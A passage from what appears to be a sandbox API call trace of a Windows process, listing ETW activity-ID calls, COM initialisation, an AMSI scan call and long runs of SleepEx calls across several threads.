[7]=0x0)) | out: ActivityId=0x87bea9c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x4f, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfc, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfc, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bea9c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bea9c*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfc, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfd, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87beafc*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfd, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bee08*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0xfd, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9d, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9d, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bea90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bea90*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9d, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.377] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87beaf0*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2e, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87beaf0*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2e, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.379] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bec28*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bec28*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2e, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.379] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bec88*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bec88*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bee08*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.380] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9e, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9e, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.382] SetEvent (hEvent=0x6cc) returned 1 [0289.382] SetEvent (hEvent=0x6c0) returned 1 [0289.382] SetEvent (hEvent=0x6c4) returned 1 [0289.382] SetEvent (hEvent=0x6c8) returned 1 [0289.382] SetEvent (hEvent=0x6dc) returned 1 [0289.382] SetEvent (hEvent=0x6d0) returned 1 [0289.382] SetEvent (hEvent=0x6d4) returned 1 [0289.382] SetEvent (hEvent=0x6d8) returned 1 [0289.382] SetEvent (hEvent=0x6e0) returned 1 [0289.387] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x87bef9c*=0x6e8, lpdwindex=0x87bedbc | out: lpdwindex=0x87bedbc) returned 0x0 [0289.387] SetThreadUILanguage (LangId=0x0) returned 0xef0409 [0289.448] CoCreateGuid (in: pguid=0x87bee08 | out: pguid=0x87bee08*(Data1=0x87904d61, Data2=0x1a8f, Data3=0x460c, Data4=([0]=0xbf, [1]=0xf7, [2]=0x25, [3]=0xa3, [4]=0x1e, [5]=0xd6, [6]=0x44, [7]=0x70))) returned 0x0 [0289.448] QueryPerformanceCounter (in: lpPerformanceCount=0x87bede8 | out: lpPerformanceCount=0x87bede8*=38424042324) returned 1 [0289.448] AmsiOpenSession () returned 0x0 [0289.448] AmsiScanString () returned 0x80070015 [0289.785] QueryPerformanceCounter (in: lpPerformanceCount=0x87bedb0 | out: lpPerformanceCount=0x87bedb0*=38457790557) returned 1 [0289.786] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bee78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x8a, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.786] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bede4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bede4*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9e, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.786] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x8a, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x8a, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.797] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x87be960*=0x878, lpdwindex=0x87be81c | out: lpdwindex=0x87be81c) returned 0x0 [0289.800] SetEvent (hEvent=0x884) returned 1 [0289.800] SetEvent (hEvent=0x878) returned 1 [0289.800] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bee08*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x8a, [1]=0x56, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0289.800] SetEvent (hEvent=0x870) returned 1 [0289.800] SetEvent (hEvent=0x884) returned 1 [0289.800] SetEvent (hEvent=0x878) returned 1 [0289.800] SetEvent (hEvent=0x860) returned 1 [0289.800] SetEvent (hEvent=0x86c) returned 1 [0289.800] SetEvent (hEvent=0x868) returned 1 [0289.800] SetEvent (hEvent=0x864) returned 1 [0289.801] SetEvent (hEvent=0x85c) returned 1 [0289.807] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x87bef9c*=0x6e8, lpdwindex=0x87bedbc | out: lpdwindex=0x87bedbc) returned 0x0 [0290.531] CoGetContextToken (in: pToken=0x87bf390 | out: pToken=0x87bf390) returned 0x0 [0290.532] CoGetContextToken (in: pToken=0x87bed88 | out: pToken=0x87bed88) returned 0x0 [0290.532] CoGetContextToken (in: pToken=0x87bed08 | out: pToken=0x87bed08) returned 0x0 [0290.532] IUnknown:Release (This=0x1261d90) returned 0x1 [0290.532] IUnknown:Release (This=0x1261d90) returned 0x0 [0290.610] CoGetContextToken (in: pToken=0x87bed08 | out: pToken=0x87bed08) returned 0x0 [0290.610] WbemStatusCodeText:IUnknown:Release (This=0x78e31b8) returned 0x1 [0290.610] WbemStatusCodeText:IUnknown:Release (This=0x78e31b8) returned 0x0 [0290.610] IUnknown:Release (This=0x11bb130) returned 0x0 [0290.610] CoUninitialize () Thread: id = 225 os_tid = 0xef8 Thread: id = 226 os_tid = 0x1354 Thread: id = 227 os_tid = 0x12dc [0241.889] CoGetContextToken (in: pToken=0x88bf954 | out: pToken=0x88bf954) returned 0x0 [0241.889] CObjectContext::QueryInterface () returned 0x0 [0241.891] CObjectContext::GetCurrentThreadType () returned 0x0 [0241.891] Release () returned 0x0 [0241.893] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0241.893] RoInitialize () returned 0x1 [0241.893] RoUninitialize () returned 0x0 [0241.893] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0241.897] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0 [0251.995] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) Thread: id = 228 os_tid = 0x11ac Thread: id = 229 os_tid = 0x1228 Thread: id = 230 os_tid = 0x4fc [0245.226] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.227] CoGetContextToken (in: pToken=0x8a3f8a4 | out: pToken=0x8a3f8a4) returned 0x0 [0245.227] CObjectContext::QueryInterface () returned 0x0 [0245.227] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.227] Release () returned 0x0 [0245.227] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.228] CoUninitialize () [0245.228] RoInitialize () returned 0x1 [0245.228] RoUninitialize () returned 0x0 [0245.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.367] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.802] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.900] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.009] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.114] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.267] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.391] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.483] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.536] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.830] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.923] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.080] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.143] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.250] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.298] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.455] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.517] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.652] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.692] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.750] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.797] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.908] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.953] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.015] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.063] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.093] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.158] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.233] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.237] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.242] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.260] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.456] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.500] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.532] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.533] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.534] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.541] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.541] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.545] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.546] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.578] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.580] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.583] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.587] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.592] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.593] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.604] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.604] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.606] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.610] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.615] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.615] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0248.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0251.995] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.071] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.250] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.362] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.500] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.588] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.734] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.015] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.110] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.361] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.453] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.547] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.651] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.734] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.109] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.500] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0254.688] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0264.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0265.085] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0265.241] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.103] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.216] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.494] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.585] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.679] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.993] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.106] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.348] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.467] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.632] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.704] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.799] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.995] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.165] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.269] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.346] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.449] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.532] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.626] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.704] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.798] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.001] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.177] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.353] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.459] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.549] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.720] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0269.951] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.134] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.298] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.392] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.487] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.659] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0270.831] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.000] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.739] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.831] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.039] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.126] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.220] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.501] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.689] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.783] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.094] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.417] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.663] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.750] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.110] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.158] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.205] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.276] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.319] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.373] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.462] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.592] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.634] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.682] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.767] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.860] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.989] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.034] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.084] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.126] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.221] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.322] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.409] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.472] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.520] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.611] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.658] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.704] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.741] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.833] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0280.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0281.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0281.253] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0281.300] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0281.348] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0281.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0281.476] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 